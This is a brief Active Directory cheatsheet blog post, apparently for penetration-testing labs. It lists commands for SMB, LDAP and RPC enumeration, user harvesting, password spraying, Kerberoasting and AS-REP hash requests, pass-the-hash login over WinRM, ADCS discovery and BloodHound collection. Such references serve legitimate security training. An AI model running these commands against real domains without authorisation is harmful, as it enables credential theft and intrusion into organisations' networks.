Post

Active Directory

Active Directory cheatsheet

Posted Updated
By Niklas
1 min read
Active Directory

SMB

  • Enumerate
    • netexec smb <rhost>
    • enum4linux-ng -A <rhost>
  • List Shares
    • netexec smb <rhost> -u <user> -p <password> --shares
    • netexec smb <rhost> -u guest -p '' --shares
    • smbclient -N -L //<rhost>
  • Enumerate Files
    • smbclient //<rhost>/<share> -N
    • smbclient //<rhost>/<share> -U <user> <password>
    • netexec smb -u <user> -p <password> -M spider_plus
  • User enumeration
    • netexec smb <rhost> -u 'guest' -p '' --rid-brute
    • netexec smb <rhost> -u 'guest' -p '' --rid-brute | grep SidTypeUser | cut -d'\' -f2 | cut -d' ' -f1 | tee users.txt
    • netexec smb <rhost> -u 'guest' -p '' --users
  • Password spraying
    • netexec smb <rhost> -u users.txt -p '<password>'
  • Password policy
    • netexec smb <rhost> -u <user> -p <password> --pass-pol

LDAP

1
2
3
4
5
6
7
8

ldapsearch -x -H ldap://<rhost> -s base
ldapsearch -x -H ldap://<rhost> -b "dc=htb,dc=local"
ldapsearch -x -H ldap://<rhost> -b "dc=htb,dc=local" "(objectClass=person)"
ldapsearch -x -H ldap://<rhost> -b "dc=htb,dc=local" "(objectClass=person)" sAMAccountName | grep sAMAccountName | awk "{print $2}"

ldapdomaindump ldap://<rhost> -u '<domain>\<user>' -p '<password>'

netexec ldap <rhost> -u <user> -p <password> --users

RPC

1
2
3
4
5
6

rpcclient -U "" <rhost> -N
> enumdomusers
> enumdomgroups
> getdompwinfo
> netshareenum
> srvinfo

Kerberos

1
2
3
4
5
6
7

ntpdate <rhost>

kerbrute userenum --dc <rhost> -d <domain> users.txt
kerbrute passwordspray --dc <rhost> -d <domain> users.txt <password>

impacket/GetUserSPNs.py <domain>/<username>:<password> -request
impacket/GetNPUsers.py -dc-ip <rhost> -request 'htb.local/' -format hashcat

WinRM

1
2

evil-winrm -i <rhost> -u <user> -p <password>
evil-winrm -i <rhost> -u <user> -H <hash>

RDP

1
2

xfreerdp /u:<username> /p:<password> /v:<rhost> +clipboard
xfreerdp /d:<domain> /u:<username> /p:<password> /v:<rhost>

Certificate Services

1
2
3

certipy find -u <user> -p <password> -dc-ip <rhost> -stdout
certipy find -u <user> -p <password> -dc-ip <rhost> -stdout -vulnerable
certipy auth -pfx <file>

Lateral Movement

1
2

bloodhound-python -c all -d <domain> -u <user> -p <password> -ns <ip>
docker-compose -f /opt/bloodhoundce/docker-compose.yml up -d
Cheatsheets
cheatsheets active-directory
This post is licensed under CC BY 4.0 by the author.